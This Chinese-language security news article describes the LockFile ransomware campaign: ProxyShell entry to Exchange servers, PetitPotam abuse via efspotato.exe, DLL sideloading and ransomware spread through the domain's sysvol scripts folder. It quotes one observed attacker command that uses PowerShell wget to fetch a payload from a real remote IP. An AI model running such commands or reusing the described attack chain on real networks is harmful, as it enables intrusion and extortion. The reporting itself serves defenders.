勒索软件LockFile滥用PetitPotam漏洞,掌控AD域名服务器

新的勒索软件攻击大肆滥用近期公开的重大漏洞,而使得企业与组织难以招架。例如,赛门铁克披露一起名为LockFile勒索软件的攻击行动,其中攻击者先是经由Exchange邮件服务器,入侵企业内部网络环境,接下来再借着PetitPotam漏洞(CVE-2021-36942),控制AD域名服务器,并感染内网的计算机。

这起攻击行动赛门铁克最早在7月20日发现,受害者是美国的金融组织,而该公司看到最新的攻击出现于8月20日,至少有10个组织遭到LockFile攻击,受害组织遍及全世界,但多数字于美国及亚洲。

对于LockFile受害组织的类型,包括制造业、金融服务、工程公司、法务公司、商业服务,以及旅游业等。

至于攻击者的身份为何?赛门铁克指出,根据黑客留下来的勒索消息中,提供受害者联系的电子邮件信箱contact@contipauper“.”com,可能是与Conti相关的黑客组织所为。而这个勒索消息的画面,也与日前攻击大型IT顾问公司Accenture的LockBit极为相似,但这两个勒索软件之间是否有所关联?赛门铁克没有进一步说明。

针对于LockFile攻击的过程,赛门铁克提出进一步的说明。攻击者先是入侵Exchange邮件服务器,并下达PowerShell命令,试图使用Wget程序下载文件,但究竟攻击者下载了什么?赛门铁克表示不得而知,仅表示在发动勒索软件攻击之前,黑客会维持访问受害组织的网络数日。

直到即将植入勒索软件的前20至30分钟,攻击者会在上述遭到入侵的Exchange邮件服务器上,开始部署一组工具,分别是efspotato.exe、active_desktop_render.dll,以及active_desktop_launcher.exe等3个文件。

其中,efspotato.exe是PetitPotam漏洞的滥用工具,疑似来自GitHub上的概念性验证(PoC)工具;而active_desktop_launcher.exe是合法应用程序,它是中国酷狗音乐所推出的动态桌面软件(KuGou Active Desktop),攻击者将它用来侧载恶意程序库active_desktop_render.dll。

这个恶意DLL一旦被成功加载,就会企图解密服务器本机上一个名为desktop.ini的文件。如果这个INI文件成功解密,将会执行Shellcode。赛门铁克表示,目前他们尚未取得这个desktop.ini进行分析,而无法进一步说明过程中执行了那些行为。

而赛门铁克推测,这个加密Shellcode的用途,应该就是启动efspotato.exe,滥用PetitPotam漏洞攻击AD域名服务器。该公司强调,虽然微软已于8月的例行修补(Patch Tuesday)提供修补程序,但随后有安全研究人员指出,修补程序并未完全修补这项漏洞,而能够在已经安装修补程序的Windows服务器上重现。

一旦成功访问AD域名服务器,攻击者就会在域名服务器的指定文件夹(sysvol\domain\scripts)中,“部署”LockFile勒索软件相关文件,而上述提及的文件夹路径,就是所有的网络用户向域名控制器执行身份验证时,用来部署脚本(Script)的文件夹。换言之,只要计算机用户登录域名,计算机就会复制LockFile的文件并且执行,将计算机的文件加密。

披露此事的赛门铁克表明,本次攻击行动仍有多处细节仍不明朗,尤其是攻击者入侵Exchange服务器的手法,仍有待调查。不过,有安全研究人员根据蜜罐(Honeypot)所收集的情报,指出LockFile攻击者就是利用ProxyShell漏洞来下手。

安全研究人员Kevin Beaumont于8月21日指出,他的蜜罐在8月13日,侦测到滥用ProxyShell漏洞的攻击行动,黑客试图在蜜罐植入Webshell,而且,多数杀毒软件无法识别这个Webshell文件有害。这个攻击引起Kevin Beaumont注意的原因,就是攻击来源IP地址与赛门铁克披露的一致。

时隔3日,Kevin Beaumont看到黑客再度入侵蜜罐,并且下达新的攻击命令与植入LockFile文件。也就是说,攻击者最初入侵Exchange服务器的手段,就是滥用ProxyShell漏洞。

Another ProxyShell attack, actions on target:

“C:\Windows\System32\cmd.exe” /c powershell wgethttp://209.14.0.234:55676/P0BV1KrEwh8Xgeo6ctNqhttps://t.co/5YxPBYPt9F

—Kevin Beaumont (@GossiTheDog)August 16, 2021

针对这项发现,Kevin Beaumont指出,虽然这组漏洞微软已于4月发布修补程序,但相较于另一组在3月修补的重大漏洞ProxyLogon,他认为攻击者滥用ProxyShell的门槛较低,而且大型组织很可能还没有安装修补程序,而导致攻击者能轻易入侵Exchange服务器。而ProxyShell已被黑客大肆滥用的现象,也使得美国网络安全及基础设施安全局(CISA)提出呼吁,企业应尽快修补Exchange服务器。

对于LockFile勒索软件攻击滥用ProxyShell漏洞的行为,也有另一家安全企业TG Soft披露他们的看法,并公布了攻击流程图,指出攻击者在使用了efspotato.exe之后,使用了Vatet Loader来加载渗透测试工具Cobalt Strike,进而变动群组原则来传播勒索软件LockFile。

发表评论